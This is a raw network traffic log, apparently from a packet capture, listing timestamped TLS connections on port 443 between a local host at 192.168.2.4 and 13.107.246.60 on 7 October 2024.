Oct 7, 2024 03:04:19.005587101 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.005600929 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.028563023 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.028744936 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.028817892 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.028847933 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.028872013 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.028872013 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.028924942 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.028985977 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.029001951 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.030949116 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.031030893 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.031122923 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.031239033 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.031260967 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.393356085 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.393888950 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.393910885 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.394377947 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.394383907 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.483405113 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.483908892 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.483947992 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.484318018 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.484332085 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.497334003 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.497678995 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.497711897 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.498039007 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.498049974 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.502840996 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.502947092 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.503000975 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.503091097 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.503144979 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.503165960 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.503177881 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.503184080 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.505841017 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.505887985 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.505951881 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.506057978 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.506067038 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.582889080 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.583085060 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.583164930 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.583216906 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.583216906 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.583245993 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.583268881 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.585510969 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.585545063 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.585616112 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.585767984 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.585783005 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.800240993 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.800401926 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.800546885 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.800606012 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.800645113 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.800682068 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.800694942 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.802738905 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.803173065 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.803186893 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.803739071 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.803745031 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.803776979 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.803822041 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.803909063 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.804071903 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.804088116 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.808315039 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.808893919 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.808916092 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.809276104 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.809287071 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.904787064 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.904850960 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.904961109 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.905018091 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.905085087 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.905085087 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.905122995 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.905158997 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.905368090 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.905620098 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.906193018 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.906225920 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.906225920 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.906239986 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.906249046 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.907582998 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.907656908 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.908591986 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.908652067 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.908696890 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.908807039 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.908837080 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.908852100 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.908971071 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.909007072 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.144654036 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.145207882 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.145246029 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.145663023 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.145668983 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.242412090 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.242590904 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.242718935 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.242754936 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.242770910 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.242785931 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.242793083 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.245520115 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.245608091 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.245697021 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.245827913 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.245852947 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.438949108 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.441468000 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.441493034 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.441929102 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.441936016 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.457705021 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.458236933 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.458295107 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.458631992 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.458643913 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.537887096 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.538038969 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.538073063 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.538136005 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.538204908 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.538222075 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.538234949 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.538240910 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.541059017 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.541135073 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.541229010 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.541390896 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.541409016 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.542375088 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.542690039 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.542751074 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.543072939 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.543092966 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.553179979 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.553473949 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.553519011 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.553800106 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.553811073 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.559082031 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.559314966 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.559408903 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.559408903 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.559408903 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.561387062 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.561414957 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.561475039 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.561589956 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.561600924 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.644589901 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.644767046 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.644864082 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.645076990 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.645076990 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.645113945 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.645138025 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.647500038 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.647545099 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.647629976 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.647767067 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.647775888 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652074099 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652143002 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652215958 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.652249098 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652357101 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.652409077 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652441025 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.652441025 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.652461052 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.652483940 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.654278040 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.654320955 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.654407024 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.654647112 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.654666901 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.864712000 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.864773989 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.894063950 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.894550085 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.894610882 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.894989014 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.895003080 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.996165037 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.996321917 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.996397972 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.996495962 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.996535063 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:20.996591091 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:20.996607065 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.000660896 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.000698090 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.000760078 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.001288891 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.001300097 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.204560995 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.205117941 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.205153942 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.205573082 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.205580950 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.230364084 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.230737925 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.230757952 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.231117964 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.231122017 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.286526918 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.287034988 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.287081003 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.287379980 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.287408113 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.293828011 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.294106960 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.294140100 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.294496059 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.294524908 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.308902025 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.309020042 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.309094906 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.309165955 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.309165955 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.309204102 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.309226990 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.311775923 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.311811924 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.311892986 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.312043905 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.312057018 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.331767082 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.331948042 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.332031965 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.332099915 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.332099915 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.332119942 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.332129955 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.334619999 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.334691048 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.334775925 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.334919930 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.334954977 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.386497974 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.386615038 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.386771917 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.386818886 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.386820078 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.386841059 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.386856079 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.389533043 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.389610052 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.389712095 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.389863968 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.389904976 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392050982 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392115116 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392165899 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.392182112 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392219067 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392266989 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.392337084 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.392344952 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.392359972 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.392366886 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.394337893 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.394352913 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.394423962 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.394556999 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.394571066 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.655589104 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.656100035 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.656120062 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.656553030 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.656557083 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.755518913 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.755678892 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.755747080 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.756000996 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.756000996 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.756016970 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.756023884 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.758531094 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.758574963 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.758646965 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.758781910 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.758790016 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.960268021 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.960967064 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.961025953 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:21.961476088 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:21.961530924 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.020473957 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.020956039 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.021002054 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.021409988 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.021425962 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.028290987 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.028748035 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.028779984 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.029153109 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.029164076 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.038151026 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.038499117 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.038558960 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.038829088 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.038841963 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.061145067 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.061223984 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.061270952 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.061297894 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.061363935 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.061593056 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.061594009 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.061661005 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.061695099 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.064205885 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.064249992 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.064332008 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.064481974 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.064491987 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.129277945 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.129590034 CEST	443	49922	13.107.246.60	192.168.2.4
